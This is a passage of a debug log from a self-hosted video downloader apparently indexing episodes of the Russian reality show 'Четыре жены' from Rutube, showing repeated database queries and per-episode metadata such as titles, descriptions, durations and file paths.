"media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76334] 20:59:30.693 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре жены отправляются друг к другу в гости. Жена-локомотив Татьяна пригласит участниц в Бабаево, чтобы показать, как ей удаётся совмещать семью и бизнес. Жена-модель Вера из Волгограда продемонстрирует свои будни многодетной мамы. Жена-праздник Анна из Перми расскажет, как поддерживает позитивный настрой в отношениях. А жена-юла Юлия из Москвы познакомит конкуренток со своей активной семьёй. Смотрите программу «Четыре жены»!", "duration" => 7236, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e060600 - Четыре жены 2: Жена-локомотив, юла, модель, волшебница.mp4", "id" => "bcd7aa93e53f886464242cd82d02e411", "original_url" => "https://rutube.ru/video/bcd7aa93e53f886464242cd82d02e411/", "playlist_index" => 12, "timestamp" => 1717686012, "title" => "Четыре жены 2: Жена-локомотив, юла, модель, волшебница", "upload_date" => "20240606"} 20:59:30.695 [debug] QUERY OK source="sources" db=0.5ms idle=146.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:30.696 [debug] QUERY OK source="sources" db=0.5ms idle=10.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:30.697 [debug] QUERY OK source="media_items" db=0.7ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-06 15:00:12Z], 6] 20:59:31.108 [debug] QUERY OK source="media_items" db=409.8ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре жены отправляются друг к другу в гости. Жена-локомотив Татьяна пригласит участниц в Бабаево, чтобы показать, как ей удаётся совмещать семью и бизнес. Жена-модель Вера из Волгограда продемонстрирует свои будни многодетной мамы. Жена-праздник Анна из Перми расскажет, как поддерживает позитивный настрой в отношениях. А жена-юла Юлия из Москвы познакомит конкуренток со своей активной семьёй. Смотрите программу «Четыре жены»!", "Четыре жены 2: Жена-локомотив, юла, модель, волшебница", "2078be22-1b13-431f-aa5d-6fc9bfb20294", "bcd7aa93e53f886464242cd82d02e411", 7236, false, "https://rutube.ru/video/bcd7aa93e53f886464242cd82d02e411/", 12, "/downloads/rutubeShows/4 жены/Season 2024/s2024e060600 - Четыре жены 2: Жена-локомотив, юла, модель, волшебница.mp4", false, false, false, 6, [], 1, ~U[2024-06-06 15:00:12Z], ~U[2025-12-09 17:59:30Z], ~U[2025-12-09 17:59:30Z], "Четыре жены отправляются друг к другу в гости. Жена-локомотив Татьяна пригласит участниц в Бабаево, чтобы показать, как ей удаётся совмещать семью и бизнес. Жена-модель Вера из Волгограда продемонстрирует свои будни многодетной мамы. Жена-праздник Анна из Перми расскажет, как поддерживает позитивный настрой в отношениях. А жена-юла Юлия из Москвы познакомит конкуренток со своей активной семьёй. Смотрите программу «Четыре жены»!", "Четыре жены 2: Жена-локомотив, юла, модель, волшебница", "bcd7aa93e53f886464242cd82d02e411", 7236, false, "https://rutube.ru/video/bcd7aa93e53f886464242cd82d02e411/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e060600 - Четыре жены 2: Жена-локомотив, юла, модель, волшебница.mp4", false, 6, ~U[2024-06-06 15:00:12Z]] 20:59:31.109 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=416.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:31.115 [debug] QUERY OK source="media_profiles" db=4.2ms queue=0.3ms idle=415.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:31.118 [debug] QUERY OK source="media_items" db=2.0ms idle=420.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76335] 20:59:31.119 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "В этом выпуске примут участие Ксения из Тюмени, Дарина из Новосибирска, Ильмира из Саратова и Елена из Выксы. Кто победит: жена, которая любит себя, жена-хулиганка, жена «татарская царица» или жена-золото? Противостояние участниц покажет программа «Четыре жены».", "duration" => 7695, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e061300 - Четыре жены 2: Жена-хулиганка, татарская царица, золото, любит себя.mp4", "id" => "2e3e5c7c7943c65a6ffb68b495faf23e", "original_url" => "https://rutube.ru/video/2e3e5c7c7943c65a6ffb68b495faf23e/", "playlist_index" => 13, "timestamp" => 1718290212, "title" => "Четыре жены 2: Жена-хулиганка, татарская царица, золото, любит себя", "upload_date" => "20240613"} 20:59:31.120 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=422.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:31.121 [debug] QUERY OK source="sources" db=0.5ms idle=13.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:31.122 [debug] QUERY OK source="media_items" db=0.6ms idle=12.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-13 14:50:12Z], 6] 20:59:31.273 [debug] QUERY OK source="media_items" db=150.6ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске примут участие Ксения из Тюмени, Дарина из Новосибирска, Ильмира из Саратова и Елена из Выксы. Кто победит: жена, которая любит себя, жена-хулиганка, жена «татарская царица» или жена-золото? Противостояние участниц покажет программа «Четыре жены».", "Четыре жены 2: Жена-хулиганка, татарская царица, золото, любит себя", "86a2371b-3602-4ae6-aa42-85453ac7ef6a", "2e3e5c7c7943c65a6ffb68b495faf23e", 7695, false, "https://rutube.ru/video/2e3e5c7c7943c65a6ffb68b495faf23e/", 13, "/downloads/rutubeShows/4 жены/Season 2024/s2024e061300 - Четыре жены 2: Жена-хулиганка, татарская царица, золото, любит себя.mp4", false, false, false, 6, [], 1, ~U[2024-06-13 14:50:12Z], ~U[2025-12-09 17:59:31Z], ~U[2025-12-09 17:59:31Z], "В этом выпуске примут участие Ксения из Тюмени, Дарина из Новосибирска, Ильмира из Саратова и Елена из Выксы. Кто победит: жена, которая любит себя, жена-хулиганка, жена «татарская царица» или жена-золото? Противостояние участниц покажет программа «Четыре жены».", "Четыре жены 2: Жена-хулиганка, татарская царица, золото, любит себя", "2e3e5c7c7943c65a6ffb68b495faf23e", 7695, false, "https://rutube.ru/video/2e3e5c7c7943c65a6ffb68b495faf23e/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e061300 - Четыре жены 2: Жена-хулиганка, татарская царица, золото, любит себя.mp4", false, 6, ~U[2024-06-13 14:50:12Z]] 20:59:31.292 [debug] QUERY OK source="sources" db=16.9ms queue=0.1ms idle=156.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:31.293 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.1ms idle=172.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:31.298 [debug] QUERY OK source="media_items" db=4.5ms idle=172.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76336] 20:59:31.299 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре жены посоревнуются между собой. Евгения из Кореновска покажет, насколько она требовательная жена. Ольга из Тольятти научит быть хитрой женой. Екатерина из Ставрополя расскажет, что значит быть счастливой женой из 90-х. А Натали из Москвы проявит себя как жена, которая любит красоту. Кто из участниц выиграет, узнаем из программы «Четыре жены».", "duration" => 7553, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e062000 - Четыре жены 2: Жена из 90х, требовательная, хитрая, красивая.mp4", "id" => "9a87c9fc35a371cd1004796877b3dd14", "original_url" => "https://rutube.ru/video/9a87c9fc35a371cd1004796877b3dd14/", "playlist_index" => 14, "timestamp" => 1718893817, "title" => "Четыре жены 2: Жена из 90х, требовательная, хитрая, красивая", "upload_date" => "20240620"} 20:59:31.300 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=177.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:31.302 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=27.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:31.303 [debug] QUERY OK source="media_items" db=0.6ms idle=10.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-20 14:30:17Z], 6] 20:59:31.382 [debug] QUERY OK source="media_items" db=78.8ms idle=9.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре жены посоревнуются между собой. Евгения из Кореновска покажет, насколько она требовательная жена. Ольга из Тольятти научит быть хитрой женой. Екатерина из Ставрополя расскажет, что значит быть счастливой женой из 90-х. А Натали из Москвы проявит себя как жена, которая любит красоту. Кто из участниц выиграет, узнаем из программы «Четыре жены».", "Четыре жены 2: Жена из 90х, требовательная, хитрая, красивая", "a73bf8b6-ddb2-4858-b9e6-6b9a834d0ca5", "9a87c9fc35a371cd1004796877b3dd14", 7553, false, "https://rutube.ru/video/9a87c9fc35a371cd1004796877b3dd14/", 14, "/downloads/rutubeShows/4 жены/Season 2024/s2024e062000 - Четыре жены 2: Жена из 90х, требовательная, хитрая, красивая.mp4", false, false, false, 6, [], 1, ~U[2024-06-20 14:30:17Z], ~U[2025-12-09 17:59:31Z], ~U[2025-12-09 17:59:31Z], "Четыре жены посоревнуются между собой. Евгения из Кореновска покажет, насколько она требовательная жена. Ольга из Тольятти научит быть хитрой женой. Екатерина из Ставрополя расскажет, что значит быть счастливой женой из 90-х. А Натали из Москвы проявит себя как жена, которая любит красоту. Кто из участниц выиграет, узнаем из программы «Четыре жены».", "Четыре жены 2: Жена из 90х, требовательная, хитрая, красивая", "9a87c9fc35a371cd1004796877b3dd14", 7553, false, "https://rutube.ru/video/9a87c9fc35a371cd1004796877b3dd14/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e062000 - Четыре жены 2: Жена из 90х, требовательная, хитрая, красивая.mp4", false, 6, ~U[2024-06-20 14:30:17Z]] 20:59:31.385 [debug] QUERY OK source="sources" db=2.0ms queue=0.1ms idle=84.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:31.385 [debug] QUERY OK source="media_profiles" db=0.4ms idle=84.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:31.386 [debug] QUERY OK source="media_items" db=0.4ms idle=84.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76337] 20:59:31.386 [debug] Current batch of media processed. Will check again in 1000ms 20:59:32.387 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Героини проекта «Четыре жены» поделятся секретами семейного счастья. В этом выпуске примут участие жена-партнёр из Челябинска Натали, корейская жена из Челябинска Анастасия, жена-тусовщица из Воронежа Алёна и хранительница домашнего очага из Омска Азиза. Каких успехов успели добиться девушки, покажет программа «Четыре жены».", "duration" => 7366, "filename" => "/downloads/rutubeShows/4 жены/Season 2024/s2024e062100 - Четыре жены 2: Корейская жена, партнер, тусовщица, хозяйственная.mp4", "id" => "85ce363bb31634c6a1d2592a8f5cba49", "original_url" => "https://rutube.ru/video/85ce363bb31634c6a1d2592a8f5cba49/", "playlist_index" => 15, "timestamp" => 1718979613, "title" => "Четыре жены 2: Корейская жена, партнер, тусовщица, хозяйственная", "upload_date" => "20240621"} 20:59:32.388 [debug] QUERY OK source="sources" db=0.6ms idle=1005.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:32.390 [debug] QUERY OK source="sources" db=1.2ms idle=1004.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:32.391 [debug] QUERY OK source="media_items" db=0.6ms idle=1004.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-21 14:20:13Z], 6] 20:59:32.717 [debug] QUERY OK source="media_items" db=324.7ms queue=0.1ms idle=1005.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Героини проекта «Четыре жены» поделятся секретами семейного счастья. В этом выпуске примут участие жена-партнёр из Челябинска Натали, корейская жена из Челябинска Анастасия, жена-тусовщица из Воронежа Алёна и хранительница домашнего очага из Омска Азиза. Каких успехов успели добиться девушки, покажет программа «Четыре жены».", "Четыре жены 2: Корейская жена, партнер, тусовщица, хозяйственная", "1ceaeac6-e211-455c-9f91-158d72975303", "85ce363bb31634c6a1d2592a8f5cba49", 7366, false, "https://rutube.ru/video/85ce363bb31634c6a1d2592a8f5cba49/", 15, "/downloads/rutubeShows/4 жены/Season 2024/s2024e062100 - Четыре жены 2: Корейская жена, партнер, тусовщица, хозяйственная.mp4", false, false, false, 6, [], 1, ~U[2024-06-21 14:20:13Z], ~U[2025-12-09 17:59:32Z], ~U[2025-12-09 17:59:32Z], "Героини проекта «Четыре жены» поделятся секретами семейного счастья. В этом выпуске примут участие жена-партнёр из Челябинска Натали, корейская жена из Челябинска Анастасия, жена-тусовщица из Воронежа Алёна и хранительница домашнего очага из Омска Азиза. Каких успехов успели добиться девушки, покажет программа «Четыре жены».", "Четыре жены 2: Корейская жена, партнер, тусовщица, хозяйственная", "85ce363bb31634c6a1d2592a8f5cba49", 7366, false, "https://rutube.ru/video/85ce363bb31634c6a1d2592a8f5cba49/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e062100 - Четыре жены 2: Корейская жена, партнер, тусовщица, хозяйственная.mp4", false, 6, ~U[2024-06-21 14:20:13Z]] 20:59:32.742 [debug] QUERY OK source="sources" db=23.6ms queue=0.4ms idle=329.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:32.743 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=352.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:32.746 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=353.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN 